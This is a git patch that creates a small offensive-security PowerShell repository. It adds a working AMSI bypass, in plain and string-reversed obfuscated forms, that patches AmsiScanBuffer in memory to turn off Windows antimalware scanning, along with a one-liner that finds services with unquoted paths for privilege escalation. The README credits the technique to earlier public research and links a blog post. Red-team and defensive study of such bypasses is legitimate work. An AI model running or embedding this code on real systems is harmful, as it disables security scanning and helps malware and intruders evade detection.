From cfdf9de9b4c158c09381684ce48b4f486cbe9770 Mon Sep 17 00:00:00 2001
From: Print3M <92022497+Print3M@users.noreply.github.com>
Date: Sun, 5 May 2024 20:08:54 +0200
Subject: [PATCH] init

---
 amsi-memory-patching/README.md             |  5 ++++
 amsi-memory-patching/script-obfuscated.ps1 | 27 ++++++++++++++++++++++
 amsi-memory-patching/script.ps1            | 20 ++++++++++++++++
 one-liners.ps1                             |  4 ++++
 4 files changed, 56 insertions(+)
 create mode 100644 amsi-memory-patching/README.md
 create mode 100644 amsi-memory-patching/script-obfuscated.ps1
 create mode 100644 amsi-memory-patching/script.ps1
 create mode 100644 one-liners.ps1

diff --git a/amsi-memory-patching/README.md b/amsi-memory-patching/README.md
new file mode 100644
index 0000000..c60522f
--- /dev/null
+++ b/amsi-memory-patching/README.md
@@ -0,0 +1,5 @@
+# AMSI Bypass by Memory Patching
+
+Visit related blog post for a better understanding of this AMSI bypass technique: [print3m.github.io/blog/amsi-memory-patching-bypass](https://print3m.github.io/blog/amsi-memory-patching-bypass)
+
+**DISCLAIMER**: This is not a new AMSI bypass technique. As far as I know it was discovered by [Rasta Mouse in 2021](https://rastamouse.me/memory-patching-amsi-bypass/).
diff --git a/amsi-memory-patching/script-obfuscated.ps1 b/amsi-memory-patching/script-obfuscated.ps1
new file mode 100644
index 0000000..902b3f2
--- /dev/null
+++ b/amsi-memory-patching/script-obfuscated.ps1
@@ -0,0 +1,27 @@
+$Apple = @"
+}
+;)tcetorPdlOlfpl tniu tuo ,tcetorPweNlf tniu ,eziSwd rtPtnIU ,sserddApl rtPtnI(tcetorPlautriV loob nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+;)emaNcorp gnirts ,eludoMh rtPtnI(sserddAcorPteG rtPtnI nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+;)eman gnirts(yrarbiLdaoL rtPtnI nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+{ 23niW ssalc cilbup
+;secivreSporetnI.emitnuR.metsyS gnisu
+;metsyS gnisu
+"@
+$Apple = $Apple.ToCharArray();[array]::Reverse($Apple);$Apple = $Apple -join ""
+
+Add-Type $Apple
+
+$DllName = "lld.isma".ToCharArray();[array]::Reverse($DllName);$DllName = $DllName -join ""
+$DllAddr = [Win32]::LoadLibrary($DllName)
+
+$FuncName = "reffuBnacSismA".ToCharArray();[array]::Reverse($FuncName);$FuncName = $FuncName -join ""
+$FuncAddr = [Win32]::GetProcAddress($DllAddr, $FuncName)
+
+$p = 0
+[Win32]::VirtualProtect($FuncAddr, [uint32]5, 0x40, [ref]$p)
+
+$Banana = [Byte[]] (0x31, 0xC0, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy($Banana, 0, $FuncAddr, $Banana.Length)
diff --git a/amsi-memory-patching/script.ps1 b/amsi-memory-patching/script.ps1
new file mode 100644
index 0000000..d214706
--- /dev/null
+++ b/amsi-memory-patching/script.ps1
@@ -0,0 +1,20 @@
+$Win32 = @"
+using System;
+using System.Runtime.InteropServices;
+public class Win32 {
+    [DllImport("kernel32")]
+    public static extern IntPtr LoadLibrary(string name);
+    [DllImport("kernel32")]
+    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+    [DllImport("kernel32")]
+    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+}
+"@
+
+Add-Type $Win32
+$DllAddr = [Win32]::LoadLibrary("amsi.dll")
+$FuncAddr = [Win32]::GetProcAddress($DllAddr, "AmsiScanBuffer")
+$p = 0
+[Win32]::VirtualProtect($FuncAddr, [uint32]5, 0x40, [ref]$p)
+$Patch = [Byte[]] (0x31, 0xC0, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $FuncAddr, $Patch.Length)
diff --git a/one-liners.ps1 b/one-liners.ps1
new file mode 100644
index 0000000..f448814
--- /dev/null
+++ b/one-liners.ps1
@@ -0,0 +1,4 @@
+###
+# GET SERVICES WITH UNQUOTED PATHS
+###
+Get-CimInstance win32_service | where PathName -notlike "" | where { $_.PathName.StartsWith('"') -eq $false }| select @{e={$_.PathName.split(" ")[0]};n="FirstPath"},PathName | where { $_.FirstPath.EndsWith(".exe") -eq $false } 
\ No newline at end of file